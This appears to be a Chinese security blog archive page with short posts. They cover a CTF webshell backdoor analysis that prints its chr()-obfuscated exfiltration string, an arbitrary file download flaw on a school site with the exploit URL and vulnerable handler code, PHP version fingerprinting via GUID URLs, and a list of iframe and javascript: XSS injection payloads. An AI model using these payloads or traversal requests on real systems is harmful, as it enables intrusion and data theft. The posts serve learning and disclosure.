之前看了一些二进制安全的书,也想过找比赛题练练手。这次凑巧知道了这个网站,就顺手玩一下。这个网站允许发简单题的解题思路,因为网上应该也有不少的答案了,所以我也发一下。
第一题比较简单,ssh登录后,能够看到fd的源码。从源码入手,重点就是满足if条件后,会打印flag文件的内容。flag文件是没有读权限。
if条件就是对读取fd的内容进行判断,fd为0的为标准输入stdin。所以让第一个参数输入后,fd等于0就可以了。
Read more...
Archive for 安全
解决问题的方法不止一种
今天群里发了西南石油大学安全比赛的地址。说一起刷分,正好中午时间,就做了几个简单的,只用了python+firebug,发现很多题都可以解。其中有一个题:shell分析,是个asp的webshell,让你找出shell里发送密码的后门。
这里记录我的思路:
开始看到这个题,直接找存储密码的变量,搜索。找到提交的地方和验证密码的地方,发现都没问题。(asp看不大懂)
然后搜索官网的url,我猜题中的后门肯定是官网的url,因为后门地址会显示解题密码。搜索“swpuwllm”无果,我想应该加密了,然后这个题就放下了。
下午,群里有人提出这个题,就又心血来潮,准备搞一下(还在上班)。。当时的第一反应还是加密了,但是为什么提交的地方和验证的地方没有呢?
下面我又在群里说,想到有asp环境的搭建个环境,看一下就好了,不是在浏览器端发送的密码,就是服务器端发送的密码,都能截到。
但是我当时上头了,非要找出来。就又把那两处的代码看了一遍,发现提交的地方form标签没有闭合,想到藏在其他地方了,往下看,发现下面就是登录后的功能了。(可能这里理解错误,asp不怎么懂)
突然想到,存储密码的是个变量,他随时可以发送啊,为什么非要这两个地方呢。于是想,会不会就像from标签没闭合,隐藏在哪个提交表单里,一起提交发送了呢。
于是搜索</form>,挨个排除。找到可以字串Function:Asuna=chr(62)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(47)&chr(60)&chr(62)&chr(115)&chr(106)&chr(46)&chr(117)&chr(112)&chr(119)&chr(115)&chr(50)&chr(49)&chr(48)&chr(50)&chr(47)&chr(110)&chr(99)&chr(46)&chr(105)&chr(101)&chr(102)&chr(97)&chr(121)&chr(97)&chr(109)&chr(46)&chr(119)&chr(119)&chr(119)&chr(47)&chr(47)&chr(58)&chr(112)&chr(116)&chr(116)&chr(104)&chr(61)&chr(99)&chr(114)&chr(115)&chr(32)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(60):看不到什么意思,就先翻一下(到现在也不知道他是怎么做的,懒得看)这是在上传的地方的代码,想研究肯定需要搜索Asuna。
下面,用python,split,eval,显示出字符串。顺序打乱了,不过能看出url的格式。还能看出是用的js。
发到群里边,已经有搭建asp环境找到的。然后。。
解决问题有很多思路撒,由于环境,技术等各种因素可能对你不合适,转变思路总可以的撒~
Read more...
django发送重置密码链接邮件进行密码修改
第二次进行python用户注册登录等功能的编写,收获颇多,对django认识更多。
urls.py
Read more...
#passwd reset
url(r'^resetpassword/$','django.contrib.auth.views.password_reset',{'template_name':'account/resetpassword.html','email_template_name':'account/password_reset_mail.html','subject_template_name':'accouts/password_reset_subject.txt','post_reset_redirect':'/',}),
#密码重置链接
url(r'^reset/(?P[0-9A-Za-z]+)-(?P.+)/$', 'django.contrib.auth.views.password_reset_confirm', {'template_name' : 'account/password_reset.html','post_reset_redirect': '/account/logout/' }),
#passwd change
开始没有写密码重置链接的url配置,报错:
Exception Value: Caught NoReverseMatch while rendering: Reverse for'django.contrib.auth.views.password_reset_confirm' with arguments '()'and keyword arguments '{'uidb36': '4', 'token':'36x-7d6e7419555fda3bc140'}' not found.
参数的详细讲解:https://docs.djangoproject.com/en/1.4/topics/auth/
registration/password_reset_email.html可以直接复制django自带的那个文件,文件地址:
/usr/local/lib/python2.6/dist-packages/django/contrib/admin/templates/registration/password_reset_email.html
学校教务网的一个小漏洞
由于外网不能访问学校的外网,链接就没有修改。做一个小记录:
漏洞链接:http://jw.xxx.edu.cn/DownHandler.ashx?id=646&downloadurl=~/UploadFiles/DOC/20126/20126158745430.DOC
很明显是个任意文件下载漏洞,应该是我们学校学生写的代码。危害不用多说,Web.Config成功下载,数据库文件没有下载成功。
已经通知管理员,好久了也没给回复,也没有修复。
DownHandler.ashx文件代码:
Read more...
string id = context.Request.QueryString["id"] as string;
string downloadurl = context.Request.QueryString["downloadurl"] as string;
if (String.IsNullOrEmpty(downloadurl) || !File.Exists(context.Server.MapPath(downloadurl)))
{
context.Session["errorInfo"] = "要下载的文件不存在!";
context.Response.Redirect("~/Error.aspx",true);
return;
}
string clientname = Path.GetFileName(context.Server.MapPath(downloadurl)); //要下载的文件的文件名
context.Response.Clear();
context.Response.AddHeader("Content-Disposition", "attachment;FileName=" + clientname);
context.Response.ContentType = "application/octet-stream";
context.Response.TransmitFile(context.Server.MapPath(downloadurl));
context.Response.Flush();
context.Response.End();
直接判断文件是否存在,然后就下载了。
昨天硬盘挂了,吓湿了,数据安全很重要
昨天晚上十一点,硬盘挂了。其实是有预兆的,从放假来了以后电脑非常卡,开始以为长时间没还原系统的事,也懒得还原。还有几次直接死机不动了。
昨晚硬盘不好用也不是突然的,一分钟前,特别卡,那时正在写django代码,调试什么的东西都开着,然后就听着主机里面像捏小泡一样的声音啪啪啪啪的,然后就卡的不动了,一分两分钟的动一下。我就慢慢结束进程,结束一个提示**.exe什么什么错误,explorer进程也自己结束了,我重启explorer进程也不行。然后启动cmd.exe也不行,提示错误,最后以为是中了什么新的exe病毒,这几天电脑卡就经常关杀毒软件。重启机器,悲剧的我开到启动画面不动了。对了,在操作当中,主机里的啪啪时常有。
第二天卸开机箱发现时硬盘啪啪的,我去。抱去修理,说硬盘挂了,我的数据哇,当时真的好怕哇。好在能把数据读出来拷到另一个盘里了。然后弄了个wd的黑盘,数据安全很重要,哈哈。有时间把重要内容拷到网盘中备份一份,预防着。
Read more...
利用“PHP彩蛋”进行敏感信息获取
关于“PHP彩蛋”的说法也许很多老PHPer已经都知道或听说了,好像是早在PHP4版本的时候就有彩蛋了,挺好玩儿的,可能近年来逐渐被人们遗忘了,其实彩蛋功能在PHP脚本引擎默认情况下是开启。
http://www.discuz.net/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
http://www.discuz.net/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
如上4个链接加红色的部分是PHP源码/ext/standard/info.h中定义的GUID值,如下图所示
点击查看原图
关于PHP彩蛋这个玩法已经被国外的某些Web漏洞扫描器(例如:HP WebInspect)所使用了,用其来探测被扫描的网站使用的是何种Web开发语言。其实在渗透测试过程中经常遇见某些网站难以辨别出使用了何种Web开发语言,因为有些网站采用动态脚本生成纯静态HTML页或者是采用URL重写实现伪静态页面,如果网站使用的是PHP开发的话,可以尝试使用彩蛋的探测法,在很多情况下可以一针见血的鉴定出来,因为默认情况下彩蛋的功能在php.ini中是开启的,当然如果不想让别人通过彩蛋的方式来获取网站的敏感信息的话,那就在php.ini中将expose_php = Off即可!
看完上面这些可能有些人会说既然php.ini中的expose_php = On,那么直接抓包看看http头信息不就OK了,可是某些大站点Web服务器的前面都是有反向代理服务器的,所以还不能完全依赖于捕获http头中的信息。
Read more...
亿邮 跨站漏洞
说不定能用上
以下是几种典型的HTML跳转方法:
之一:
<META HTTP-EQUIV="Refresh" CONTENT="0;URL= ****">
之二:
<iframe src="****" width="0" height="0" frameborder="0">
之三:
<body></body>
之四:
<frameset cols="100%,*">
之五:
<frame src="****" scrolling="auto"></frameset>
<img src=javascript:document.write('<Iframe%20src=输入你要跨的地址%20width=500%20height=550%3E</iframe%3E')>
Read more...